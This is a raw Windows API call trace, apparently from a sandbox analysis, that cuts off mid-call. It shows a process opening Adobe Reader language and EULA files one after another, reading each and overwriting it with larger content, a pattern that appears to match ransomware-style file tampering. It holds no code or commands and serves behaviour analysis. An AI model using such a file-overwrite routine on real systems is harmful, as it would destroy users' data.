0x0 [0040.080] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.080] ReleaseMutex (hMutex=0x128) returned 1 [0040.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32Info.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0040.080] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroRd32Info.exe", cchWideChar=16, lpMultiByteStr=0x1e78c44, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroRd32Info.exe", lpUsedDefaultChar=0x0) returned 16 [0040.080] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.082] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x35a0 [0040.082] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.082] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x35a0 [0040.082] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.083] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0040.083] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.083] CloseHandle (hObject=0x1d4) returned 1 [0040.083] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.083] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.083] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2000 [0040.083] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.083] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.083] ReleaseMutex (hMutex=0x128) returned 1 [0040.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DEU", lpUsedDefaultChar=0x0) returned 11 [0040.083] ReadFile (in: hFile=0x1d4, lpBuffer=0x2770358, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0040.085] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0040.085] WriteFile (in: hFile=0x1d4, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0040.085] CloseHandle (hObject=0x1d4) returned 1 [0040.085] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.086] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.086] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1e00 [0040.086] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.086] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.086] ReleaseMutex (hMutex=0x128) returned 1 [0040.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NOR", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NOR", lpUsedDefaultChar=0x0) returned 11 [0040.086] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2e0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0040.088] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0040.088] WriteFile (in: hFile=0x1d4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0040.088] CloseHandle (hObject=0x1d4) returned 1 [0040.088] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.088] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.089] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1e00 [0040.089] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.089] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.089] ReleaseMutex (hMutex=0x128) returned 1 [0040.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.UKR", lpUsedDefaultChar=0x0) returned 11 [0040.089] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2e0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0040.091] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0040.091] WriteFile (in: hFile=0x1d4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0040.091] CloseHandle (hObject=0x1d4) returned 1 [0040.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.092] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.092] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1e00 [0040.092] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.092] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.092] ReleaseMutex (hMutex=0x128) returned 1 [0040.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HRV", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HRV", lpUsedDefaultChar=0x0) returned 11 [0040.092] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2e0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0040.093] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0040.093] WriteFile (in: hFile=0x1d4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0040.094] CloseHandle (hObject=0x1d4) returned 1 [0040.094] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.094] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.094] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1e00 [0040.094] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.094] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.094] ReleaseMutex (hMutex=0x128) returned 1 [0040.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUS", lpUsedDefaultChar=0x0) returned 11 [0040.095] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2e0f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0040.268] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0040.268] WriteFile (in: hFile=0x1d4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2e0f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0040.268] CloseHandle (hObject=0x1d4) returned 1 [0040.268] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0040.502] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.502] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x49c [0040.502] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.503] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.503] ReleaseMutex (hMutex=0x128) returned 1 [0040.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.503] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e631cc, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0040.582] ReadFile (in: hFile=0x1a0, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x49c, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x2e0f2bc*=0x49c, lpOverlapped=0x0) returned 1 [0040.771] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0040.771] WriteFile (in: hFile=0x1a0, lpBuffer=0x2805d18*, nNumberOfBytesToWrite=0xa24, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2805d18*, lpNumberOfBytesWritten=0x2e0f2d0*=0xa24, lpOverlapped=0x0) returned 1 [0040.771] CloseHandle (hObject=0x1a0) returned 1 [0040.771] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0040.771] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.772] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x524 [0040.772] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.772] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.772] ReleaseMutex (hMutex=0x128) returned 1 [0040.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6316c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0040.772] ReadFile (in: hFile=0x1a0, lpBuffer=0x1e16478, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e16478*, lpNumberOfBytesRead=0x2e0f2bc*=0x524, lpOverlapped=0x0) returned 1 [0040.795] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0040.795] WriteFile (in: hFile=0x1a0, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0xaac, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2e0f2d0*=0xaac, lpOverlapped=0x0) returned 1 [0040.795] CloseHandle (hObject=0x1a0) returned 1 [0040.795] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0040.795] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.795] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x470 [0040.796] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.796] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.796] ReleaseMutex (hMutex=0x128) returned 1 [0040.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6302c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0040.796] ReadFile (in: hFile=0x1a0, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x470, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x2e0f2bc*=0x470, lpOverlapped=0x0) returned 1 [0040.797] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0040.797] WriteFile (in: hFile=0x1a0, lpBuffer=0x27bfb58*, nNumberOfBytesToWrite=0x9f8, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27bfb58*, lpNumberOfBytesWritten=0x2e0f2d0*=0x9f8, lpOverlapped=0x0) returned 1 [0040.797] CloseHandle (hObject=0x1a0) returned 1 [0040.797] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0040.798] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.798] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x514 [0040.798] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.798] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.798] ReleaseMutex (hMutex=0x128) returned 1 [0040.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6316c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0040.798] ReadFile (in: hFile=0x1a0, lpBuffer=0x1e16478, nNumberOfBytesToRead=0x514, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e16478*, lpNumberOfBytesRead=0x2e0f2bc*=0x514, lpOverlapped=0x0) returned 1 [0040.799] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0040.799] WriteFile (in: hFile=0x1a0, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0xa9c, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2e0f2d0*=0xa9c, lpOverlapped=0x0) returned 1 [0040.800] CloseHandle (hObject=0x1a0) returned 1 [0040.800] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0040.800] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.800] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x578 [0040.800] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0040.800] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.800] ReleaseMutex (hMutex=0x128) returned 1 [0040.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x1e6302c, cbMultiByte=8, 